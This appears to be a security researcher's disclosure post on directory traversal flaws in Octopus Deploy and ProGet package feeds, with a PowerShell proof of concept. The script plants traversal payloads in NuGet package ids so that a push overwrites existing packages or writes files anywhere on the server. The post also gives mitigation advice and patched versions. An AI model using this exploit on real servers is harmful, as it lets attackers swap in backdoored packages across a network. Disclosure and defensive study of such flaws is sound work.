Package Name Directory Traversals

Last year I discovered two very similar directory traversal vulnerabilities in Octopus Deploy and Inedo ProGet. Octopus Deploy’s built in NuGet feed and several feed types in ProGet were vulnerable to directory traversal attacks on the package name fields inside packages uploaded to the respective system. While the same type of vulnerability was found for several feed types in ProGet (including npm, Maven, VSIX, Ruby Gems…), this post will focus on NuGet as it is representative of the other issues.

These vulnerabilities enabled an attacker to both overwrite arbitrary packages within the respective system and to write packages to arbitrary locations on the server’s file system. After a package was overwritten by one of these vulnerabilities, the attacker’s package would be returned instead of the original package. This could be used by an attacker spread a backdoor to several systems within a network.


To demonstrate this type of attack, I have provided a PoC for modifying NuGet packages and interacting with Octopus Deploy. The same crafted package can be used with ProGet, and the same approach can be used with additional package types in ProGet.

# PoC of a path traversal in Octopus Deploy server's handling of NuGet packages on the built in feed.
# Allows for existing packages to be replaced and packages to be written to arbitrary locations.
# As is, this script will only work once per instance of Octopus Deploy Server. Swap out version
# numbers and remove all of files/directories made by the script to continue testing.
# James Otten 6/27/2017

$odServer = ""
$apiKey = "API-..."

Add-Type -AssemblyName System.IO.Compression.FileSystem

# Place the malicious id and version in the nuspec of the given package
Function ModifyPackage {
        [string] $package,
        [string] $idPayload,
        [string] $version
    $xml = New-Object System.Xml.XmlDocument
    $extractDir = $package.Replace(".nupkg", "")

    # Extract the nupkg for modification
    [System.IO.Compression.ZipFile]::ExtractToDirectory($package, $extractDir)

    # Find the .nuspec file to edit
    $modifyNuspec = (Get-ChildItem -Path $extractDir -Filter *.nuspec).FullName

    # Load the nuspec file being modified
    $nsm = New-Object Xml.XmlNamespaceManager($xml.NameTable)
    $nsm.AddNamespace('ns', $xml.DocumentElement.NamespaceURI)

    # Set package id
    $elementId = $xml.SelectSingleNode("//ns:id", $nsm)
    $elementId.InnerText = $idPayload # Payload inserted here

    # Set package version
    $elementVersion = $xml.SelectSingleNode("//ns:version", $nsm)
    $elementVersion.InnerText = $version

    # Save the document and re-zip
    [System.IO.Compression.ZipFile]::CreateFromDirectory($extractDir, "MOD_$package")

$webClient = New-Object System.Net.WebClient

# Download the package that will be overwritten on the server
$webClient.DownloadFile("", "nunit.3.7.0.nupkg")

# Download the package that will be modified
# In practice, this would be a backdoored version of the original package, but it is more obvious this way
$webClient.DownloadFile("", "newtonsoft.json.10.0.2.nupkg")

ModifyPackage "newtonsoft.json.10.0.2.nupkg" "NUnit/../NUnit" "3.7.0"

# Publish the first package which will be overwritten
& ./Octo.exe push --package nunit.3.7.0.nupkg --server "$odServer" --apiKey "$apiKey"

# Pause here and navigate to C:\Octopus\Packages\NUnit\ on the Octopus Deploy server (with default install options)
# if you wish to watch the package being overwritten

# Publish the second package which will overwrite the first
& ./Octo.exe push --package MOD_newtonsoft.json.10.0.2.nupkg --server "$odServer" --apiKey "$apiKey"

# Navigate to /octo/app#/library/packages/versions/NUnit
# This looks like the NUnit package
# Download the package
# Notice you downloaded the modified version of newtonsoft.json

# Download another package that will be modified
$webClient.DownloadFile("", "nuget.core.2.13.0.nupkg")

# This package will be placed in the at C:\Created\Malice.1.nupkg which shows that
# packages can be placed anywhere on the system that the server can write to
# and directories can be created
ModifyPackage "nuget.core.2.13.0.nupkg" "../../../../Created/Malice" "1"

# Octopus Server will not be able to locate this package through the web
& ./Octo.exe push --package MOD_nuget.core.2.13.0.nupkg --server "$odServer" --apiKey "$apiKey"


The root cause of these vulnerabilities was unsafe use of user controlled strings when constructing file system paths. An attacker could craft a malicious package by inserting a directory traversal payload into the package name field in a nuspec file inside of a NuGet packages in both applications. I can see how this might be a difficult vulnerability to detect via automated tools because the payload is inserted into a packed nuget package, and I would suggest unit testing and manual penetration testing to avoid these types of issues in the future.

When developing software, one must always be careful when handing user input. This is especially true when accessing the file system, or other sensitive resources. For most of the types of applications I’ve seen, I generally suggest avoiding the file system altogether if possible. It is often easier for developers to write safer and more scalable code when interacting with a database or other type of storage system. If your application needs to access the file system, try to avoid using user input to create paths for file system access. Take a minute to read the documentation on the api you are using to access the file system handles “interesting” cases such as:

  • Symbolic links (junctions)
  • Hard links
  • UNC paths


Updating to Octopus Deploy 3.15.4+ will prevent attackers from exploiting CVE-2017-11348 and updating to ProGet 4.7.14+ will prevent attackers from exploiting CVE-2017-14944.

More information

comments powered by Disqus